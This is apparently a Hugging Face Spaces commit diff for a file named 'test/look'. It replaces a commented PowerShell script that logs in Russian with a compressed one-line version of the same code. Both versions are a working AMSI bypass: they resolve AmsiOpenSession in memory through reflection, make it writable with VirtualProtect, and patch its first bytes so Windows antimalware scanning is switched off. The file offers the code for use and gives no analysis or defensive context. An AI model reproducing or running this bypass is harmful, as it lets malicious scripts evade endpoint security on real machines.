Spaces:
Runtime error
Runtime error
Update test/look
Browse files
test/look
CHANGED
@@ -1,61 +1 @@
|
|
1 |
-
function f {
|
2 |
-
Param($a, $b)
|
3 |
-
Write-Host "[f] Начало выполнения функции" -ForegroundColor Green
|
4 |
-
Write-Host "[f] Параметры: ModuleName=$a, FunctionName=$b" -ForegroundColor Cyan
|
5 |
-
$c = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -and $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
|
6 |
-
Write-Host "[f] Получена сборка: $($c.Assembly.FullName)" -ForegroundColor Green
|
7 |
-
$d = @()
|
8 |
-
$c.GetMethods() | ForEach-Object {
|
9 |
-
if ($_.Name -eq 'GetProcAddress') {
|
10 |
-
$d += $_
|
11 |
-
Write-Host "[f] Найден метод GetProcAddress" -ForegroundColor Green
|
12 |
-
}
|
13 |
-
}
|
14 |
-
Write-Host "[f] Возврат результата" -ForegroundColor Green
|
15 |
-
return $d[0].Invoke($null, @( ($c.GetMethod('GetModuleHandle')).Invoke($null, @($a)), $b ))
|
16 |
-
}
|
17 |
-
|
18 |
-
function g {
|
19 |
-
Param(
|
20 |
-
[Parameter(Position=0, Mandatory=$true)]
|
21 |
-
[Type[]]$p,
|
22 |
-
[Parameter(Position=1)]
|
23 |
-
[Type]$q = [Void]
|
24 |
-
)
|
25 |
-
Write-Host "[g] Начало выполнения функции" -ForegroundColor Green
|
26 |
-
Write-Host "[g] Параметры: Func=$p, DelType=$q" -ForegroundColor Cyan
|
27 |
-
$r = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
|
28 |
-
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
|
29 |
-
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
30 |
-
Write-Host "[g] Создан тип делегата: $r" -ForegroundColor Green
|
31 |
-
$r.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $p).SetImplementationFlags('Runtime, Managed')
|
32 |
-
$r.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $q, $p).SetImplementationFlags('Runtime, Managed')
|
33 |
-
Write-Host "[g] Возврат созданного типа" -ForegroundColor Green
|
34 |
-
return $r.CreateType()
|
35 |
-
}
|
36 |
-
|
37 |
-
Write-Host "[Main] Начало выполнения основного кода" -ForegroundColor Yellow
|
38 |
-
|
39 |
-
# Вызов функции для получения адреса AmsiOpenSession
|
40 |
-
[IntPtr]$s = f 'amsi.dll' 'AmsiOpenSession'
|
41 |
-
Write-Host "[Main] Получен адрес AmsiOpenSession: $s" -ForegroundColor Green
|
42 |
-
|
43 |
-
$o = 0
|
44 |
-
# Создание делегата для VirtualProtect с передачей массива типов
|
45 |
-
$v = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
|
46 |
-
(f 'kernel32.dll' 'VirtualProtect'),
|
47 |
-
(g @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool]))
|
48 |
-
)
|
49 |
-
Write-Host "[Main] Создан делегат для VirtualProtect" -ForegroundColor Green
|
50 |
-
|
51 |
-
$v.Invoke($s, 3, 0x40, [ref]$o)
|
52 |
-
Write-Host "[Main] Изменены права доступа к памяти" -ForegroundColor Green
|
53 |
-
|
54 |
-
$b = [Byte[]](0x48, 0x31, 0xC0)
|
55 |
-
[System.Runtime.InteropServices.Marshal]::Copy($b, 0, $s, 3)
|
56 |
-
Write-Host "[Main] Записаны байты в память" -ForegroundColor Green
|
57 |
-
|
58 |
-
$v.Invoke($s, 3, 0x20, [ref]$o)
|
59 |
-
Write-Host "[Main] Восстановлены оригинальные права доступа" -ForegroundColor Green
|
60 |
-
|
61 |
-
Write-Host "[Main] Завершение выполнения" -ForegroundColor Yellow
|
|
|
1 |
+
function f{param($a,$b)$c=([AppDomain]::CurrentDomain.GetAssemblies()|where{$_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods');$d=@();$c.GetMethods()|%{if($_.Name-eq'GetProcAddress'){$d+=$_}};return $d[0].Invoke($null,@(($c.GetMethod('GetModuleHandle')).Invoke($null,@($a)),$b))} function g{param([Type[]]$a,[Type]$b=[Void])$c=[AppDomain]::CurrentDomain.DefineDynamicAssembly((new-object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',$false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate]);$c.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard,$a).SetImplementationFlags('Runtime, Managed');$c.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$b,$a).SetImplementationFlags('Runtime, Managed');return $c.CreateType()} [IntPtr]$x=f 'amsi.dll' 'AmsiOpenSession';$y=0;$z=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((f 'kernel32.dll' 'VirtualProtect'),(g @([IntPtr],[UInt32],[UInt32],[UInt32].MakeByRefType())([Bool])));$z.Invoke($x,3,0x40,[ref]$y);$w=[Byte[]](0x48,0x31,0xC0);[System.Runtime.InteropServices.Marshal]::Copy($w,0,$x,3);$z.Invoke($x,3,0x20,[ref]$y)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|